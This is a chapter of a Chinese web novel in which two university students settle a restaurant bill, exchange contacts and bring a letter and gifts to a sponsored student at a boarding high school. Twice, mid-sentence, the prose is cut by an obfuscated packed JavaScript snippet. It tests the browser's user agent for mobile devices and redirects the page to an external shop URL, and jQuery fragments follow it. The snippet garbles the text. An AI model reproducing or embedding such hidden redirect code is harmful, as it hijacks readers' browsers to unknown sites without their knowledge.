闻青延掏掏口袋,准备付钱,结果先从口袋里掏出了一封信,是那天金荔山庄取回来的信,他一直没拆开来看。
闻青延看着手里的信有些怔愣。
站在一旁的老板拿出手机也吓了一跳,说:“哎呀,你朋友怎么转了我一千块钱?这是你朋友吧?是不是手快按错了?我这云吞面又不是黄金做的,哪里要这么多?”
闻青延回过神,瞥了眼,还真是周嘉砺的账户。
他望向周嘉砺,问:“学长,你什么时候给的钱?”
周嘉砺挪开手臂,露出桌上贴着的二维码,说:“我看到,习惯就扫码付款了。”
这是什么富少劣习?闻青延忍不住吐槽:“周学长还有这种习惯?那我要是印个收款码贴在身上,每天往学长面前晃两圈,不就发家致富了。”
周嘉砺上下打量了他一眼,似笑非笑道:“你可以试试。”
周嘉砺这样积极付钱,弄得闻青延有些不好计较他先前的态度了,本来就说好闻青延请客作为周嘉砺载他一程的感谢,结果还让周嘉砺买单了。
老板操作几下手机,“吓死人!我把多转的钱转给你了,你转给你朋友。”
闻青延还来不及阻止,老板就收碗走人了。他只好拿出手机对周嘉砺道:“我把钱转给你吧。”
周嘉砺说:“不用,你留着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16921394|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧。”
闻青延没理,在群聊里给周嘉砺发了指定红包。
【路知远:???】
【焦浩宇:???】
周嘉砺在手机上点了几下,却没领红包,也没在群里说话了,抬头道:“我加你了,申请通过下。”
“哦,行。”闻青延通过了周嘉砺的好友申请,又提醒他收钱。
周嘉砺唇角扯了扯,说:“你收着吧,就当是我买你好友位的钱。”
闻青延:“……”
不过一千块对周嘉砺来说跟一块钱没什么区别,闻青延也懒得在这推拒半天,显得自己小家子气。于是他抬手拍了拍周嘉砺的胳膊,说:“行,下回我请你吃饭,你别再抢着买单了。”
但这个下回得等他接到新的拍摄商单,银行卡里有盈余才行。
两人回去取车的路上,周嘉砺手机弹出一连串路知远的消息。
【路知远:闻青延怎么突然给你转钱?】
【路知远:你两现在不会在一起吧?】
【路知远:在哪?发个定位】
【路知远:???】
【路知远:兄弟妻不可欺你知道吧?】
周嘉砺本来不想理他,看到这句还是没忍住啧了声。
【周嘉砺:他跟你在一起了吗?】
【路知远:你搞清楚,我先说要追他的!】
周嘉砺面无表情地回复他。
【周嘉砺:别跟狗撒尿圈地盘一样,丢不丢人?】
【周嘉砺:以为谁都跟你一样喜欢男的呢?】
【路知远:……】
【路知远:行吧。】
【路知远:你最好不是。】
周嘉砺嗤笑一声,没再回他。
两人在车子前站定,闻青延却没上车,“周学长一会先回学校,我等下还有点事就不一起了。今天谢谢你。”
周嘉砺收起手机,没说好不好,而是扫了眼他的衣服,说:“你穿这样还要去哪?”
穿的像个带拆的礼物盒,万一蝴蝶结勾到哪呢?
闻青延低头看了看,才想起来自己还穿着周嘉砺的衣服,于是道:“学长的衣服,我回去洗干净了再还给你?”
周嘉砺:“算了,不是这个问题,你要去哪?我送你。”
“川阳一中。”
闻青延没想到周嘉砺长得冷酷,其实还挺热心的。
24. 恶劣
上车后,周嘉砺问:“去川阳一中干嘛?”
“给高中生送点补给。一会找个超市停一下。”闻青延低头展开信纸。
“闻叔叔:
您好!
您还记得我吗?我是卢枣坡的沈芳雅。我今年考上了川阳一中,学校给予学费和住宿费减免,成绩单附在信中……等我开学来市里,能否见您一面?我希望可以和您当面道谢!上回您给我寄的书我都看完了……”
信件字迹清秀,闻青延一目十行,又将这封信读了一遍,视线停留在落款上的日期,已经是两年前了。
“车上有纸和笔吗?”
周嘉砺瞥了他手里的信一眼,问道:“这年头还有人写情书?”
“不是情书。”闻青延低着头把信折好,塞回信封里。
周嘉砺单手扶着方向盘,空出一手翻找到万宝龙签字笔和便签本递给闻青延。
闻青延掂了掂钢笔,反问他:“这年头还有人用钢笔?”
周嘉砺眉梢微扬,余光瞥见闻青延握着笔在便签本上流畅地书写,字迹张扬漂亮,显然是专门练过钢笔字的。
他低笑了两声:“还说我,你不也练过钢笔字?”
“嗯,为了写情书。”闻青延随口应他。
【沈芳雅同学,抱歉两年后才恭喜你考上川阳一中!成绩单我看见了,我很为你高兴。你现在应该在读高二了吧,加油!你的感谢我心领了,不必见面。我这边无法继续资助你,助学基金会应该已为你找到新的资助人了。一个人在外求学,有事尽管寻求学校和基金会的帮助。祝学习进步,生活愉快!】
闻青延简单写了两句,将便签撕下,折好,打算等下去超市买些水果、面包一起寄放在川阳一中保卫处转交给沈芳雅。
-
“高二,沈芳雅……高二哪个班的?要写清楚,学校重名的人那么多,只写个沈芳雅哪知道是谁?”保卫处的保安撕了张标签纸贴在水果纸箱外。
闻青延有些为难,“我不知道是几班的。”
“不知道?那学生拿错了,我们不管的。你上面这一箱都是樱桃,不便宜吧?”保安大叔透过镂空的纸壳看见红得发黑的樱桃,给他提议说:“要不然你给她宿舍打电话,问一下是几班的,或者直接让她出来拿。”
川阳一中是全寄宿学校,每个月放一次月假,才能回家,平时周末休息都在学校宿舍里,不能随便离开校园。
闻青延哪有沈芳雅的联系方式,他啃着手指关节,翻找手机通讯录,发现助学基金会那边的联系方式之前也被他删除了,不然还能问问基金会对接的工作人员清不清楚。
周嘉砺把他手指摘出来,看见他指间两粒牙印陷进去,心下微动,小孩吗?还啃手指。
他说:“沈芳雅是吧?我叫人帮你查一下。”
周嘉砺刚拿出手机,就听见保安大叔一声冷笑:“呵,还叫人查一下,你校领导啊?行了行了,别演了,你两根本不是学生家长吧?”
保安大叔自诩一双火眼金睛,早看穿这两人不对劲了——闻青延一问三不知,又染着一头鲜亮的粉毛,穿得也很夸张,根本不像学生;旁边跟他一块来的周嘉砺也是,表情冷厉,单眼皮,下三白眼,头发毛刺刺的,看着就不像什么好人。
“附近的小混混追女同学追到学校了是吧!不要以为你们年轻小伙子长得帅就可以乱来哈,学校是学习的地方!少耽误人家正经学生!赶紧走,赶紧走……”
闻青延:“……”
周嘉砺:“……”
闻青延哭笑不得,眼看保安大叔要拿出大钢叉赶人了,只好掏出A大的校园卡递给保安,“……叔,我们都是A大的学生,不是坏人。”
他心里想着要不找个时间把这头粉毛重新染黑了吧,顶着这个招摇的发色,不仅上课点名率飙升,进出校门不带学生卡也容易被保安拦下。
“还真是A大的高材生。”保安大叔拿着A大校园卡,比对了好几遍才相信,“哎呀,小伙子长得这么漂亮,黑头发多清纯啊?干嘛染一头粉毛,真奇怪。”
保安大叔是老式审美,欣赏不来闻青延潮流时尚的浅发色,也看不懂周嘉砺的朋克前刺,他把闻青延的校园卡递回去。
闻青延还没伸手去拿,校园卡就先被周嘉砺截胡了。
“你干嘛?”闻青延抬手要夺回自己的校园卡。
他校园卡上的这张证件照是高中时候拍的,一直没换。那时候腮边还有点软肉,留着齐刘海,闻青延感觉照片拍得有点呆,没他现在帅,平时刷卡都把照片那一面藏在手心里,不是很乐意给别人看。
周嘉砺拿着校园卡举高,仔细端详。
闻青延突然有些羞耻:“还给我。你在看什么啊?”
周嘉砺嘴角流露一丝笑意,模仿刚刚保安大叔的语气,若有其事道:“看看黑头发多清纯。”
闻青延:“……”你是怎么用这张冷冷酷酷的脸,说出这么流氓的话?
周嘉砺比他高,闻青延伸手够不着校园卡,又不想跳起来,显得他很傻,只好装作不在意,继续跟保安大叔说话。
有A大做背书,保安大叔的脸色终于好转,语气也亲切了不少,“找沈芳雅是吧?沈芳雅是你妹妹吗?”他自有一套推理逻辑体系,“你能考上A大的,你妹妹成绩肯定也很好,那估计就是在高二一班、二班了,我帮你问问。”
保安大叔前脚话音刚落,后脚扭头就揪住一个提着奶茶准备溜走的男生。
“诶!又叫奶茶!校领导规定了不许叫外卖!”
“叔,不是外卖,这是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16921395|192560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我家长给我送的!”男生怕他不信,还理直气壮喊了围栏外的中年人一声“爸!”
保安大叔无语:“你以为我不认识门口奶茶店老板的脸呢?”
男生:“……”
奶茶店老板笑笑走了。
“下不为例啊。”保安大叔松开男生的领子,问:“你这校服颜色,今年是高二吧?认不认识一班或者二班有个叫沈芳雅的?”
男生苦笑:“诶呦,叔,你问我一个十八班的拖车尾,我哪认识一班二班的学霸啊?”他转头指了指不远处围着花坛打闹的三四个男生女生,说:“那边是高二一班的包干区吧?他们应该是高二一班的值日生,你问问他们。”
保安大叔就朝他们喊:“高二一班的吗?”
那边应:“是啊!”
“你们班有没有个沈芳雅?她哥来给她寄东西!”
不知道保安大叔这句话哪里戳到这群人的笑点,他们一下哄笑做一团。
“他们说高二的沈芳雅?不会是我们班那个沈芳雅吧?”“问下不就知道了。”“沈芳雅,是不是来找你的呀?”“哈哈哈,小芳怎么可能认识这种大帅哥?”“看见门口那辆迈巴赫没?我刚刚看到他们从那车上下来。”“嘻嘻万一就是找我们小芳呢?小芳你快过来看一下啊!”
零碎的声音飘过来,周嘉砺随意瞥了眼那个似乎也叫沈芳雅的女生,整个人畏手畏脚的,身上的衣服不合身,衣袖和裤脚都短了一截,显得愈发局促。她始终捏着扫把,低着头,厚重的刘海盖去她大半张脸,仿佛这样就能将同学暗戳戳的恶意挡在外面。
周嘉砺没太在意,也觉得她不可能是闻青延要找的那个沈芳雅,正要收回视线,就看见身旁的闻青延沉着脸走过去。
“她是你要找的人?”周嘉砺有些惊讶,跟上他。
闻青延绷着张冷脸,声音倒还是很冷静,他说:“不知道。”
周嘉砺挑挑眉:“不知道?”不知道这个女生是谁,但路见不平就要冲过去帮个忙吗?
闻青延走得气势汹汹,后脑勺翘起一根发梢,走路的时候一跳一跳。
不认识也能这么生气?都气炸毛了。
周嘉砺忽然想起前不久路知远在群里转述闻青延把人摁在洗手间里教训了一顿后,跟路知远撒娇让他收场的事情,漫不经心道:“你在这打人的话,不好收场。”
周嘉砺这句不好收场,只是字面意义上对结果的陈述,没有什么劝阻的意味。事实上,他已经在思考如果闻青延打人的话,也会和他撒娇吗?
闻青延听见这话,脚步一顿,酝酿好的气势差点泄掉。他无奈回头,见周嘉砺脸上竟然流露出跃跃欲试的神色,一时无语:“我在你心里有这么恶劣吗?”
周嘉砺扬扬眉:“恶劣吗?”怪可爱的。